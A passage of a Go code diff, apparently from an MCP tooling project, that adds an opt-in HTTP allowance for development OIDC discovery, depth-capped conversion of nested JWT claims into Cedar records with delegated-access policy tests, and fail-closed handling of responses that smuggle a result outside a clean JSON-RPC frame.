if err := validateEndpointOrigin(doc.UserinfoEndpoint, expectedIssuer); err != nil { + if err := validateEndpointOrigin(doc.UserinfoEndpoint, expectedIssuer, insecureAllowHTTP); err != nil { return fmt.Errorf("userinfo_endpoint origin mismatch: %w", err) } } if doc.JWKSURI != "" { - if err := validateEndpointOrigin(doc.JWKSURI, expectedIssuer); err != nil { + if err := validateEndpointOrigin(doc.JWKSURI, expectedIssuer, insecureAllowHTTP); err != nil { return fmt.Errorf("jwks_uri origin mismatch: %w", err) } } @@ -578,7 +589,12 @@ func validateDiscoveryDocument(doc *oauthproto.OIDCDiscoveryDocument, expectedIs // If an attacker could compromise the HTTPS connection to the issuer or the issuer itself, // host validation would provide no additional protection since the attacker controls the // discovery document contents. -func validateEndpointOrigin(endpoint, issuer string) error { +// +// When insecureAllowHTTP is true, HTTP endpoints are permitted for non-localhost issuers. +// This is intended for in-cluster development environments (e.g. a Dex instance in a +// kind cluster) where both issuer and endpoints are served over plain HTTP. Never set +// this in production. +func validateEndpointOrigin(endpoint, issuer string, insecureAllowHTTP bool) error { endpointURL, err := url.Parse(endpoint) if err != nil { return fmt.Errorf("invalid endpoint URL: %w", err) @@ -599,6 +615,11 @@ func validateEndpointOrigin(endpoint, issuer string) error { return nil } + // insecureAllowHTTP permits HTTP for trusted in-cluster deployments (e.g. Dex in kind). + if insecureAllowHTTP { + return nil + } + // For production issuers, enforce HTTPS on endpoints // This prevents protocol downgrade attacks where a malicious discovery document // could redirect token requests to an HTTP endpoint, exposing credentials diff --git a/pkg/authserver/upstream/oidc_test.go b/pkg/authserver/upstream/oidc_test.go index cd87281f37..92037a4539 100644 --- a/pkg/authserver/upstream/oidc_test.go +++ b/pkg/authserver/upstream/oidc_test.go @@ -494,15 +494,26 @@ func TestValidateDiscoveryDocument(t *testing.T) { // Note: issuer mismatch is validated by go-oidc's NewProvider() before // validateDiscoveryDocument is called, so we don't test it here. tests := []struct { - name string - modify func(*oauthproto.OIDCDiscoveryDocument) - wantErr string + name string + insecureAllowHTTP bool + modify func(*oauthproto.OIDCDiscoveryDocument) + wantErr string }{ - {"valid document", nil, ""}, - {"missing authorization endpoint", func(d *oauthproto.OIDCDiscoveryDocument) { d.AuthorizationEndpoint = "" }, "missing authorization_endpoint"}, - {"missing token endpoint", func(d *oauthproto.OIDCDiscoveryDocument) { d.TokenEndpoint = "" }, "missing token_endpoint"}, - {"missing jwks_uri", func(d *oauthproto.OIDCDiscoveryDocument) { d.JWKSURI = "" }, "missing jwks_uri"}, - {"missing response_types_supported", func(d *oauthproto.OIDCDiscoveryDocument) { d.ResponseTypesSupported = nil }, "missing response_types_supported"}, + {"valid document", false, nil, ""}, + {"missing authorization endpoint", false, func(d *oauthproto.OIDCDiscoveryDocument) { d.AuthorizationEndpoint = "" }, "missing authorization_endpoint"}, + {"missing token endpoint", false, func(d *oauthproto.OIDCDiscoveryDocument) { d.TokenEndpoint = "" }, "missing token_endpoint"}, + {"missing jwks_uri", false, func(d *oauthproto.OIDCDiscoveryDocument) { d.JWKSURI = "" }, "missing jwks_uri"}, + {"missing response_types_supported", false, func(d *oauthproto.OIDCDiscoveryDocument) { d.ResponseTypesSupported = nil }, "missing response_types_supported"}, + {"HTTP endpoints rejected without insecure flag", false, func(d *oauthproto.OIDCDiscoveryDocument) { + d.AuthorizationEndpoint = "http://dex.my-ns.svc.cluster.local:5556/auth" + d.TokenEndpoint = "http://dex.my-ns.svc.cluster.local:5556/token" + d.JWKSURI = "http://dex.my-ns.svc.cluster.local:5556/keys" + }, "scheme mismatch"}, + {"HTTP endpoints allowed with insecure flag", true, func(d *oauthproto.OIDCDiscoveryDocument) { + d.AuthorizationEndpoint = "http://dex.my-ns.svc.cluster.local:5556/auth" + d.TokenEndpoint = "http://dex.my-ns.svc.cluster.local:5556/token" + d.JWKSURI = "http://dex.my-ns.svc.cluster.local:5556/keys" + }, ""}, } for _, tt := range tests { @@ -519,7 +530,7 @@ func TestValidateDiscoveryDocument(t *testing.T) { if tt.modify != nil { tt.modify(doc) } - err := validateDiscoveryDocument(doc, testIssuer) + err := validateDiscoveryDocument(doc, testIssuer, tt.insecureAllowHTTP) if tt.wantErr == "" { require.NoError(t, err) } else { @@ -534,23 +545,27 @@ func TestValidateEndpointOrigin(t *testing.T) { t.Parallel() tests := []struct { - name string - endpoint string - issuer string - wantErr string + name string + endpoint string + issuer string + insecureAllowHTTP bool + wantErr string }{ - {"HTTPS endpoint with same host", "https://example.com/token", "https://example.com", ""}, - {"HTTPS endpoint with different host", "https://oauth.example.com/token", "https://example.com", ""}, // allowed per OIDC spec - {"HTTP endpoint for non-localhost issuer", "http://example.com/token", "https://example.com", "scheme mismatch"}, - {"localhost allows HTTP", "http://localhost:8080/token", "http://localhost:8080", ""}, - {"localhost issuer requires localhost endpoint", "http://example.com/token", "http://localhost:8080", "host mismatch"}, - {"127.0.0.1 treated as localhost", "http://127.0.0.1:8080/token", "http://127.0.0.1:8080", ""}, + {"HTTPS endpoint with same host", "https://example.com/token", "https://example.com", false, ""}, + {"HTTPS endpoint with different host", "https://oauth.example.com/token", "https://example.com", false, ""}, // allowed per OIDC spec + {"HTTP endpoint for non-localhost issuer", "http://example.com/token", "https://example.com", false, "scheme mismatch"}, + {"localhost allows HTTP", "http://localhost:8080/token", "http://localhost:8080", false, ""}, + {"localhost issuer requires localhost endpoint", "http://example.com/token", "http://localhost:8080", false, "host mismatch"}, + {"127.0.0.1 treated as localhost", "http://127.0.0.1:8080/token", "http://127.0.0.1:8080", false, ""}, + {"HTTP endpoint allowed with insecure flag", "http://dex.my-ns.svc.cluster.local:5556/token", "http://dex.my-ns.svc.cluster.local:5556", true, ""}, + {"HTTP endpoint with insecure flag, different host", "http://other.svc.cluster.local/token", "http://dex.my-ns.svc.cluster.local:5556", true, ""}, + {"HTTPS still valid with insecure flag", "https://example.com/token", "https://example.com", true, ""}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { t.Parallel() - err := validateEndpointOrigin(tt.endpoint, tt.issuer) + err := validateEndpointOrigin(tt.endpoint, tt.issuer, tt.insecureAllowHTTP) if tt.wantErr == "" { require.NoError(t, err) } else { @@ -605,6 +620,54 @@ func TestOIDCProviderImpl_ExchangeCodeForIdentity(t *testing.T) { assert.NotEmpty(t, result.Tokens.IDToken) }) + t.Run("captures ID token claims for authorization inputs", func(t *testing.T) { + t.Parallel() + + mock := newMockOIDCServer(t) + t.Cleanup(mock.Close) + + // Issue an ID token carrying claims a downstream authorization filter would + // key on (email, groups) alongside the standard set. + mock.tokenHandler = func(w http.ResponseWriter, _ *http.Request) { + idToken := mock.signIDTokenWithClaims( + testClientID, "user-789", "", time.Now().Add(time.Hour), + map[string]any{ + "email": "dev@example.com", + "groups": []any{"engineering", "admins"}, + }, + ) + resp := testTokenResponse{ + AccessToken: "access-token", + TokenType: "Bearer", + IDToken: idToken, + ExpiresIn: 3600, + } + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(resp) + } + + config := &OIDCConfig{ + CommonOAuthConfig: CommonOAuthConfig{ + ClientID: testClientID, + ClientSecret: testClientSecret, + RedirectURI: testRedirectURI, + }, + Issuer: mock.issuer, + } + + provider, err := NewOIDCProvider(ctx, config) + require.NoError(t, err) + + result, err := provider.ExchangeCodeForIdentity(ctx, "test-code", "", "") + require.NoError(t, err) + + require.NotNil(t, result.Claims, "ID token claims must be captured for authorization inputs") + assert.Equal(t, "user-789", result.Claims["sub"], "standard sub claim must be captured") + assert.Equal(t, "dev@example.com", result.Claims["email"], "custom email claim must be captured") + assert.Equal(t, []any{"engineering", "admins"}, result.Claims["groups"], + "multi-valued groups claim must be captured verbatim") + }) + t.Run("successful exchange without nonce", func(t *testing.T) { t.Parallel() diff --git a/pkg/authserver/upstream/types.go b/pkg/authserver/upstream/types.go index c7ca8b0553..f08a0a0534 100644 --- a/pkg/authserver/upstream/types.go +++ b/pkg/authserver/upstream/types.go @@ -53,6 +53,18 @@ type Identity struct { // per-user keys (doing so grows `users` without bound). Use the // synthesized Subject as an ephemeral session key only. Synthetic bool + + // Claims holds the raw claims resolved from the upstream IDP for this + // identity, for downstream authorization-policy inputs. Source by provider + // type: + // - OIDC: all claims from the validated ID token. + // - OAuth2 with userInfo: all claims from the userinfo response. + // - OAuth2 with identityFromToken, or synthetic OAuth2: nil — those paths + // resolve only scalar subject/name/email (or nothing), with no structured + // claim set to carry. + // These are informational enrichment only: they are NOT used for user + // resolution or token storage. May be nil. + Claims map[string]any } // ErrIdentityResolutionFailed indicates identity could not be determined. diff --git a/pkg/authz/authorizers/cedar/core_test.go b/pkg/authz/authorizers/cedar/core_test.go index 04fb5cbca4..42005a9d39 100644 --- a/pkg/authz/authorizers/cedar/core_test.go +++ b/pkg/authz/authorizers/cedar/core_test.go @@ -146,7 +146,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { // Test cases testCases := []struct { name string - policy string + policies []string claims jwt.MapClaims feature authorizers.MCPFeature operation authorizers.MCPOperation @@ -156,7 +156,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }{ { name: "User with correct name can call weather tool", - policy: ` + policies: []string{` permit( principal, action == Action::"call_tool", @@ -165,7 +165,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { context.claim_name == "John Doe" }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -179,7 +179,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User with incorrect name cannot call weather tool", - policy: ` + policies: []string{` permit( principal, action == Action::"call_tool", @@ -188,7 +188,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { context.claim_name == "John Doe" }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "Jane Smith", @@ -202,7 +202,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "Admin user can call any tool", - policy: ` + policies: []string{` permit( principal, action == Action::"call_tool", @@ -211,7 +211,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { context.claim_role == "admin" }; - `, + `}, claims: map[string]interface{}{ "sub": "admin123", "name": "Admin User", @@ -225,7 +225,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User with specific argument value can call tool", - policy: ` + policies: []string{` permit( principal, action == Action::"call_tool", @@ -234,7 +234,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { context.arg_operation == "add" && context.arg_value1 == 5 }; - `, + `}, claims: map[string]interface{}{ "sub": "user123", "name": "John Doe", @@ -251,7 +251,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User with specific role in array can access resource", - policy: ` + policies: []string{` permit( principal, action == Action::"read_resource", @@ -260,7 +260,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { context.claim_groups.contains("editor") }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -274,7 +274,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "Resource entity exposes name attribute for Cedar schema", - policy: ` + policies: []string{` permit( principal, action == Action::"read_resource", @@ -283,7 +283,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { resource.name == "sensitive_data" }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", }, @@ -295,7 +295,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "Resource entity retains uri attribute for backward compat", - policy: ` + policies: []string{` permit( principal, action == Action::"read_resource", @@ -304,7 +304,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { resource.uri == "sensitive_data" }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", }, @@ -316,7 +316,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "Resource name and uri attributes carry the same value", - policy: ` + policies: []string{` permit( principal, action == Action::"read_resource", @@ -325,7 +325,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { resource.name == resource.uri }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", }, @@ -337,13 +337,13 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User can get prompt", - policy: ` + policies: []string{` permit( principal, action == Action::"get_prompt", resource == Prompt::"greeting" ); - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -357,13 +357,13 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User can list tools", - policy: ` + policies: []string{` permit( principal, action == Action::"list_tools", resource == FeatureType::"tool" ); - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -377,13 +377,13 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User can list prompts", - policy: ` + policies: []string{` permit( principal, action == Action::"list_prompts", resource == FeatureType::"prompt" ); - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -397,13 +397,13 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User can list resources", - policy: ` + policies: []string{` permit( principal, action == Action::"list_resources", resource == FeatureType::"resource" ); - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -415,6 +415,115 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { arguments: nil, expectAuthorized: true, }, + { + name: "Delegated access permitted when act claim matches SPIFFE ID pattern", + policies: []string{` + permit( + principal, + action == Action::"call_tool", + resource == Tool::"deploy" + ) + when { + context.claim_sub == "user@example.com" && + context has claim_act && + context.claim_act.sub like "spiffe://toolhive.dev/ns/agents/sa/*" + }; + `}, + claims: jwt.MapClaims{ + "sub": "user@example.com", + "act": map[string]interface{}{ + "sub": "spiffe://toolhive.dev/ns/agents/sa/devops-agent", + }, + }, + feature: authorizers.MCPFeatureTool, + operation: authorizers.MCPOperationCall, + resourceID: "deploy", + arguments: nil, + expectAuthorized: true, + }, + { + name: "Delegated access denied when act claim has wrong SPIFFE ID", + policies: []string{` + permit( + principal, + action == Action::"call_tool", + resource == Tool::"deploy" + ) + when { + context.claim_sub == "user@example.com" && + context has claim_act && + context.claim_act.sub like "spiffe://toolhive.dev/ns/agents/sa/*" + }; + `}, + claims: jwt.MapClaims{ + "sub": "user@example.com", + "act": map[string]interface{}{ + "sub": "spiffe://evil.example.com/ns/agents/sa/attacker", + }, + }, + feature: authorizers.MCPFeatureTool, + operation: authorizers.MCPOperationCall, + resourceID: "deploy", + arguments: nil, + expectAuthorized: false, + }, + { + name: "Forbid delegated access to admin tools when act claim present", + policies: []string{ + `permit(principal, action == Action::"call_tool", resource);`, + `forbid(principal, action == Action::"call_tool", resource == Tool::"admin_reset") + when { context has claim_act };`, + }, + claims: jwt.MapClaims{ + "sub": "user@example.com", + "act": map[string]interface{}{ + "sub": "spiffe://toolhive.dev/ns/agents/sa/devops-agent", + }, + }, + feature: authorizers.MCPFeatureTool, + operation: authorizers.MCPOperationCall, + resourceID: "admin_reset", + arguments: nil, + expectAuthorized: false, + }, + { + name: "Direct access to admin tools allowed when no act claim", + policies: []string{ + `permit(principal, action == Action::"call_tool", resource);`, + `forbid(principal, action == Action::"call_tool", resource == Tool::"admin_reset") + when { context has claim_act };`, + }, + claims: jwt.MapClaims{ + "sub": "user@example.com", + }, + feature: authorizers.MCPFeatureTool, + operation: authorizers.MCPOperationCall, + resourceID: "admin_reset", + arguments: nil, + expectAuthorized: true, + }, + { + name: "Policy with has operator does not match when act claim absent", + policies: []string{` + permit( + principal, + action == Action::"call_tool", + resource == Tool::"deploy" + ) + when { + context has claim_act && + context.claim_act.sub like "spiffe://toolhive.dev/ns/agents/sa/*" + }; + `}, + claims: jwt.MapClaims{ + "sub": "user@example.com", + }, + feature: authorizers.MCPFeatureTool, + operation: authorizers.MCPOperationCall, + resourceID: "deploy", + arguments: nil, + expectAuthorized: false, + }, } // Run test cases @@ -426,7 +535,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { // Create a Cedar authorizer authorizer, err := NewCedarAuthorizer(ConfigOptions{ - Policies: []string{tc.policy}, + Policies: tc.policies, EntitiesJSON: `[]`, }, "") require.NoError(t, err, "Failed to create Cedar authorizer") diff --git a/pkg/authz/authorizers/cedar/entity.go b/pkg/authz/authorizers/cedar/entity.go index 2ec563f54b..bea4e06c1b 100644 --- a/pkg/authz/authorizers/cedar/entity.go +++ b/pkg/authz/authorizers/cedar/entity.go @@ -5,9 +5,18 @@ package cedar import ( + "log/slog" + cedar "github.com/cedar-policy/cedar-go" ) +// maxClaimNestingDepth caps how deeply nested maps/arrays in JWT claims are +// converted into Cedar records/sets. Claims can originate from an unverified +// upstream token (see parseUpstreamJWTClaims in core.go, which uses +// jwt.ParseUnverified), so recursion here has no other bound. Matches +// maxSchemaDepth in pkg/vmcp/composer/elicitation_handler.go for consistency. +const maxClaimNestingDepth = 10 + // EntityTypeTHVGroup is the default Cedar entity type representing group membership. // It is used when ConfigOptions.GroupEntityType is empty. Principals are added as // children of group entities so that Cedar's `in` operator can evaluate @@ -181,8 +190,15 @@ func (f *EntityFactory) CreateEntitiesForRequest( return entities, nil } -// convertMapToCedarRecord converts a Go map to a Cedar record. +// convertMapToCedarRecord converts a Go map to a Cedar record. Nesting beyond +// maxClaimNestingDepth is dropped (see convertToCedarValueAtDepth). func convertMapToCedarRecord(data map[string]interface{}) cedar.Record { + return convertMapToCedarRecordAtDepth(data, 0) +} + +// convertMapToCedarRecordAtDepth is the depth-tracking implementation behind +// convertMapToCedarRecord. +func convertMapToCedarRecordAtDepth(data map[string]interface{}, depth int) cedar.Record { if data == nil { return cedar.NewRecord(cedar.RecordMap{}) } @@ -191,7 +207,7 @@ func convertMapToCedarRecord(data map[string]interface{}) cedar.Record { for k, v := range data { // Convert Go values to Cedar values - cedarValue := convertToCedarValue(v) + cedarValue := convertToCedarValueAtDepth(v, depth) if cedarValue != nil { recordMap[cedar.String(k)] = cedarValue } @@ -200,8 +216,20 @@ func convertMapToCedarRecord(data map[string]interface{}) cedar.Record { return cedar.NewRecord(recordMap) } -// convertToCedarValue converts a Go value to a Cedar value. -func convertToCedarValue(v interface{}) cedar.Value { +// convertToCedarValueAtDepth converts a Go value to a Cedar value. Maps and +// arrays nested deeper than maxClaimNestingDepth are dropped rather than +// causing unbounded recursion, since claim values can originate from an +// unverified upstream JWT (see parseUpstreamJWTClaims in core.go). depth +// counts how many maps/arrays have already been unwrapped to reach v; once +// it exceeds maxClaimNestingDepth, v is dropped (returns nil) and a warning +// is logged instead of recursing further. +func convertToCedarValueAtDepth(v interface{}, depth int) cedar.Value { + if depth > maxClaimNestingDepth { + slog.Warn("claim attribute nested too deeply, dropping", + "max_depth", maxClaimNestingDepth) + return nil + } + switch val := v.(type) { case bool: return convertBoolToCedar(val) @@ -214,9 +242,11 @@ func convertToCedarValue(v interface{}) cedar.Value { case float64: return convertFloatToCedar(val) case []interface{}: - return convertInterfaceArrayToCedar(val) + return convertInterfaceArrayToCedar(val, depth) case []string: return convertStringArrayToCedar(val) + case map[string]interface{}: + return convertMapToCedarRecordAtDepth(val, depth+1) default: // Skip unsupported types return nil @@ -241,10 +271,10 @@ func convertFloatToCedar(val float64) cedar.Value { } // convertInterfaceArrayToCedar converts an array of interfaces to a Cedar set. -func convertInterfaceArrayToCedar(val []interface{}) cedar.Value { +func convertInterfaceArrayToCedar(val []interface{}, depth int) cedar.Value { values := make([]cedar.Value, 0, len(val)) for _, item := range val { - cedarItem := convertArrayItemToCedar(item) + cedarItem := convertToCedarValueAtDepth(item, depth+1) if cedarItem != nil { values = append(values, cedarItem) } @@ -252,24 +282,6 @@ func convertInterfaceArrayToCedar(val []interface{}) cedar.Value { return cedar.NewSet(values...) } -// convertArrayItemToCedar converts an array item to a Cedar value. -func convertArrayItemToCedar(item interface{}) cedar.Value { - switch itemVal := item.(type) { - case string: - return cedar.String(itemVal) - case bool: - return convertBoolToCedar(itemVal) - case int: - return cedar.Long(itemVal) - case int64: - return cedar.Long(itemVal) - case float64: - return convertFloatToCedar(itemVal) - default: - return nil - } -} - // convertStringArrayToCedar converts a string array to a Cedar set. func convertStringArrayToCedar(val []string) cedar.Value { values := make([]cedar.Value, 0, len(val)) diff --git a/pkg/authz/authorizers/cedar/record_test.go b/pkg/authz/authorizers/cedar/record_test.go index e499c11b9b..30f3b91bbd 100644 --- a/pkg/authz/authorizers/cedar/record_test.go +++ b/pkg/authz/authorizers/cedar/record_test.go @@ -161,13 +161,63 @@ func TestConvertMapToCedarRecord(t *testing.T) { { name: "Unsupported types", input: map[string]interface{}{ - "map": map[string]interface{}{"nested": "value"}, "struct": struct{ Name string }{"test"}, "valid": "this should be included", }, expected: map[string]cedar.Value{ "valid": cedar.String("this should be included"), - // Other keys should be skipped + // struct key should be skipped + }, + }, + { + name: "Nested map converts to Cedar record", + input: map[string]interface{}{ + "act": map[string]interface{}{ + "sub": "spiffe://toolhive.dev/ns/agents/sa/devops-agent", + }, + }, + expected: map[string]cedar.Value{ + "act": cedar.NewRecord(cedar.RecordMap{ + cedar.String("sub"): cedar.String("spiffe://toolhive.dev/ns/agents/sa/devops-agent"), + }), + }, + }, + { + name: "Deeply nested map", + input: map[string]interface{}{ + "outer": map[string]interface{}{ + "inner": map[string]interface{}{ + "value": "deep", + }, + }, + }, + expected: map[string]cedar.Value{ + "outer": cedar.NewRecord(cedar.RecordMap{ + cedar.String("inner"): cedar.NewRecord(cedar.RecordMap{ + cedar.String("value"): cedar.String("deep"), + }), + }), + }, + }, + { + name: "Map nested exactly at depth limit converts fully", + input: map[string]interface{}{ + "claim": buildNestedMap(maxClaimNestingDepth, "reachable"), + }, + expected: map[string]cedar.Value{ + "claim": nestedCedarRecord(maxClaimNestingDepth, cedar.String("reachable")), + }, + }, + { + name: "Map nested beyond depth limit truncates the deep branch", + input: map[string]interface{}{ + "claim": buildNestedMap(maxClaimNestingDepth+2, "unreachable"), + }, + expected: map[string]cedar.Value{ + // Everything past maxClaimNestingDepth is dropped: the chain + // converts down to the limit and bottoms out in an empty + // record instead of reaching "unreachable". + "claim": nestedCedarRecord(maxClaimNestingDepth, cedar.NewRecord(cedar.RecordMap{})), }, }, { @@ -193,6 +243,36 @@ func TestConvertMapToCedarRecord(t *testing.T) { "int64s": cedar.NewSet(cedar.Long(9223372036854775807)), }, }, + { + name: "Array of maps converts to Cedar set of records", + input: map[string]interface{}{ + "act_chain": []interface{}{ + map[string]interface{}{"sub": "spiffe://toolhive.dev/ns/agents/sa/agent-a"}, + map[string]interface{}{"sub": "spiffe://toolhive.dev/ns/agents/sa/agent-b"}, + }, + }, + expected: map[string]cedar.Value{ + "act_chain": cedar.NewSet( + cedar.NewRecord(cedar.RecordMap{cedar.String("sub"): cedar.String("spiffe://toolhive.dev/ns/agents/sa/agent-a")}), + cedar.NewRecord(cedar.RecordMap{cedar.String("sub"): cedar.String("spiffe://toolhive.dev/ns/agents/sa/agent-b")}), + ), + }, + }, + { + name: "Array of arrays converts to Cedar set of sets", + input: map[string]interface{}{ + "groups": []interface{}{ + []interface{}{"a", "b"}, + []interface{}{"c"}, + }, + }, + expected: map[string]cedar.Value{ + "groups": cedar.NewSet( + cedar.NewSet(cedar.String("a"), cedar.String("b")), + cedar.NewSet(cedar.String("c")), + ), + }, + }, } // Run test cases @@ -221,3 +301,26 @@ func TestConvertMapToCedarRecord(t *testing.T) { }) } } + +// buildNestedMap wraps leaf in `levels` maps nested under the key "nested", +// e.g. buildNestedMap(2, "x") == map[string]interface{}{"nested": +// map[string]interface{}{"nested": "x"}}. levels must be >= 1 so the return +// value is always a map[string]interface{}. Used to exercise the recursion +// depth cap in convertMapToCedarRecord. +func buildNestedMap(levels int, leaf interface{}) map[string]interface{} { + value := leaf + for range levels { + value = map[string]interface{}{"nested": value} + } + return value.(map[string]interface{}) +} + +// nestedCedarRecord wraps leaf in `levels` Cedar records nested under the +// key "nested" — the expected-value counterpart to buildNestedMap. +func nestedCedarRecord(levels int, leaf cedar.Value) cedar.Value { + value := leaf + for range levels { + value = cedar.NewRecord(cedar.RecordMap{cedar.String("nested"): value}) + } + return value +} diff --git a/pkg/authz/authorizers/errors.go b/pkg/authz/authorizers/errors.go index 8083a086f0..357f10f52b 100644 --- a/pkg/authz/authorizers/errors.go +++ b/pkg/authz/authorizers/errors.go @@ -34,7 +34,7 @@ func (e *UpstreamAuthenticationRequiredError) Error() string { return fmt.Sprintf("%s for provider %q: %s", errUpstreamAuthenticationRequired, e.Provider, e.Reason) } -func (e *UpstreamAuthenticationRequiredError) Unwrap() error { +func (*UpstreamAuthenticationRequiredError) Unwrap() error { return errUpstreamAuthenticationRequired } diff --git a/pkg/authz/errors.go b/pkg/authz/errors.go index f5a3c2c62a..3bb7385923 100644 --- a/pkg/authz/errors.go +++ b/pkg/authz/errors.go @@ -25,7 +25,7 @@ func (e *forbiddenAuthorizationError) Error() string { return e.message } -func (e *forbiddenAuthorizationError) Unwrap() error { +func (*forbiddenAuthorizationError) Unwrap() error { return errForbiddenAuthorization } diff --git a/pkg/authz/response_filter.go b/pkg/authz/response_filter.go index 545a29adbe..736b80b17c 100644 --- a/pkg/authz/response_filter.go +++ b/pkg/authz/response_filter.go @@ -131,17 +131,21 @@ func (rfw *ResponseFilteringWriter) Flush() { func (rfw *ResponseFilteringWriter) processJSONResponse(rawResponse []byte) error { message, err := jsonrpc2.DecodeMessage(rawResponse) - if err != nil { - rfw.ResponseWriter.WriteHeader(rfw.statusCode) - _, err := rfw.ResponseWriter.Write(rawResponse) - return err - } - response, ok := message.(*jsonrpc2.Response) - if !ok { + if err != nil || !ok { + // Not a clean Response. The disguised-result bypass (#5257) is + // transport-independent, so apply the same check here as on the SSE + // path: if a non-Response, undecodable, or batch frame still carries a + // result, fail closed rather than passing the smuggled list through. + if carriesResult(rawResponse) { + slog.Warn("JSON response carried a result outside a clean Response frame; dropping as a protocol violation", + "method", rfw.method) + return rfw.writeErrorResponse(jsonrpc2.ID{}, + fmt.Errorf("dropped a frame carrying a result outside a clean Response")) + } rfw.ResponseWriter.WriteHeader(rfw.statusCode) - _, err := rfw.ResponseWriter.Write(rawResponse) - return err + _, werr := rfw.ResponseWriter.Write(rawResponse) + return werr } filteredResponse, err := rfw.filterListResponse(response) @@ -159,7 +163,6 @@ func (rfw *ResponseFilteringWriter) processJSONResponse(rawResponse []byte) erro return err } -//nolint:gocyclo func (rfw *ResponseFilteringWriter) processSSEResponse(rawResponse []byte) error { // Note: this routine is adapted from the one in pkg/mcp/tool_filter.go. // I don't see an obvious way to factor out the commonalities, so I'm @@ -186,36 +189,11 @@ func (rfw *ResponseFilteringWriter) processSSEResponse(rawResponse []byte) error var written bool if data, ok := bytes.CutPrefix(line, []byte("data:")); ok { - message, err := jsonrpc2.DecodeMessage(data) - if err != nil { - rfw.ResponseWriter.WriteHeader(rfw.statusCode) - _, err := rfw.ResponseWriter.Write(rawResponse) + w, stop, err := rfw.writeSSEDataLine(data) + if stop { return err } - - response, ok := message.(*jsonrpc2.Response) - if !ok { - rfw.ResponseWriter.WriteHeader(rfw.statusCode) - _, err := rfw.ResponseWriter.Write(rawResponse) - return err - } - - filteredResponse, err := rfw.filterListResponse(response) - if err != nil { - return rfw.writeErrorResponse(response.ID, err) - } - - filteredData, err := jsonrpc2.EncodeMessage(filteredResponse) - if err != nil { - return rfw.writeErrorResponse(response.ID, err) - } - - _, err = rfw.ResponseWriter.Write([]byte("data: " + string(filteredData) + "\n")) - if err != nil { - return fmt.Errorf("%w: %w", errBug, err) - } - - written = true + written = w } if !written { @@ -244,6 +222,56 @@ func (rfw *ResponseFilteringWriter) processSSEResponse(rawResponse []byte) error return nil } +// writeSSEDataLine classifies a single SSE `data:` payload and writes the +// filtered response when it is a clean Response. written reports whether the +// caller should skip the raw passthrough for this line. stop reports that +// processSSEResponse should return err immediately (an error response has +// already been written on the filter/encode error paths). +func (rfw *ResponseFilteringWriter) writeSSEDataLine(data []byte) (written, stop bool, err error) { + message, decodeErr := jsonrpc2.DecodeMessage(data) + response, isResponse := message.(*jsonrpc2.Response) + switch { + case isResponse: + filteredResponse, ferr := rfw.filterListResponse(response) + if ferr != nil { + return false, true, rfw.writeErrorResponse(response.ID, ferr) + } + filteredData, ferr := jsonrpc2.EncodeMessage(filteredResponse) + if ferr != nil { + return false, true, rfw.writeErrorResponse(response.ID, ferr) + } + // The caller writes linesep after this line, so do not append a + // terminator here. A hardcoded "\n" desyncs \r\n streams. + if _, werr := rfw.ResponseWriter.Write([]byte("data: " + string(filteredData))); werr != nil { + return false, true, fmt.Errorf("%w: %w", errBug, werr) + } + return true, false, nil + case carriesResult(data): + // The frame is not a clean Response but still carries a result. This + // covers a non-Response type (a request/notification frame smuggling a + // result), a decode error (missing or invalid jsonrpc tag, a response + // frame with no or a non-scalar id), and a batch array. All are + // upstream-controlled shapes that would otherwise fall through and leak + // the very list this filter scrubs (#5257). Fail closed and drop the line. + slog.Warn("SSE data line carried a result outside a clean Response frame; dropping as a protocol violation", + "method", rfw.method) + return true, false, nil + case decodeErr != nil: + // Genuinely undecodable and no smuggled result. Pass this line through + // unfiltered (this line only). + slog.Warn("SSE data line could not be decoded as JSON-RPC; passing through unfiltered", + "method", rfw.method, "error", decodeErr) + return false, false, nil + default: + // Genuine non-Response frame (e.g. an interleaved notifications/* message) + // with no result payload. Routine SSE traffic, so log at Debug to keep the + // suspicious branches above from being buried. Pass through this line only. + slog.Debug("SSE data line was not a JSON-RPC Response; passing through unfiltered", + "method", rfw.method) + return false, false, nil + } +} + // requiresResponseFiltering reports whether the method needs response filtering. // This covers the three MCP list operations and the optimizer's find_tool call, // whose response embeds a filtered tool list inside a CallToolResult. @@ -254,6 +282,39 @@ func requiresResponseFiltering(method string) bool { method == optimizerdec.FindToolName } +// carriesResult reports whether a data payload contains a JSON-RPC "result" +// field, either directly on an object or in any element 